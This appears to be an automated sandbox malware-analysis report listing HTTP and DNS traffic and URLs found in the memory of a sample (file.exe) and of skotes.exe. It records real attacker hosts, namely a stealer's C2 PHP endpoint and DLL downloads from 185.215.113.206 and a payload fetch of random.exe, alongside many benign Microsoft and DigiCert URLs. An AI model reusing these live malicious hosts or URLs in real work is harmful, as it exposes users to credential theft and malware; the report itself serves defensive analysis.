Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.1823726536.0000000001AA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1813754900.0000000000C75000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1823726536.0000000001A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllE
Source: file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllN
Source: file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1844141390.0000000023E82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.1844141390.0000000023E8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0
Source: file.exe, 00000000.00000002.1844141390.0000000023E82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php5
Source: file.exe, 00000000.00000002.1844141390.0000000023E82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpa
Source: file.exe, 00000000.00000002.1844141390.0000000023E82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpi
Source: file.exe, 00000000.00000002.1813754900.0000000000C75000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.1823726536.0000000001A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phptware
Source: file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpx
Source: file.exe, 00000000.00000002.1823726536.0000000001A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206TIFIER=Intel
Source: file.exe, 00000000.00000002.1813754900.0000000000C75000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206rontdesk
Source: skotes.exe, 0000001C.00000002.2550891570.00000000008D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001C.00000002.2550891570.00000000008D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php3D
Source: skotes.exe, 0000001C.00000002.2550891570.00000000008D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpF
Source: skotes.exe, 0000001C.00000002.2550891570.00000000008D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpXP
Source: skotes.exe, 0000001C.00000002.2550891570.00000000008CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpt
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1852942424.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1852514371.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1841399691.000000001DE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: BGCFBGDH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 3b6f47fe-9862-45ff-9d94-6e7980136a65.tmp.11.dr, cb28171e-12be-4097-8dff-9ddac42bf091.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.1844141390.0000000023E11000.00000004.00000020.00020000.00000000.sdmp, FCFHJKJJJECGDHJJDHDA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000002.1844141390.0000000023E11000.00000004.00000020.00020000.00000000.sdmp, FCFHJKJJJECGDHJJDHDA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.11.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://c.msn.com/
Source: BGCFBGDH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1592749937.0000000023E1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823726536.0000000001AA6000.00000004.00000020.00020000.00000000.sdmp, BGCFBGDH.0.dr, FHCGHJDB.0.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1592749937.0000000023E1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823726536.0000000001AA6000.00000004.00000020.00020000.00000000.sdmp, BGCFBGDH.0.dr, FHCGHJDB.0.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json0.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 3b6f47fe-9862-45ff-9d94-6e7980136a65.tmp.11.dr, cb28171e-12be-4097-8dff-9ddac42bf091.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 3b6f47fe-9862-45ff-9d94-6e7980136a65.tmp.11.dr, cb28171e-12be-4097-8dff-9ddac42bf091.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.1844141390.0000000023E11000.00000004.00000020.00020000.00000000.sdmp, FCFHJKJJJECGDHJJDHDA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1844141390.0000000023E11000.00000004.00000020.00020000.00000000.sdmp, FCFHJKJJJECGDHJJDHDA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json.10.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1592749937.0000000023E1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823726536.0000000001AA6000.00000004.00000020.00020000.00000000.sdmp, BGCFBGDH.0.dr, FHCGHJDB.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1592749937.0000000023E1F000.00000004.00000020.00020000.00000000.sdmp, BGCFBGDH.0.dr, FHCGHJDB.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1592749937.0000000023E1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823726536.0000000001AA6000.00000004.00000020.00020000.00000000.sdmp, BGCFBGDH.0.dr, FHCGHJDB.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log9.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log9.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log10.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
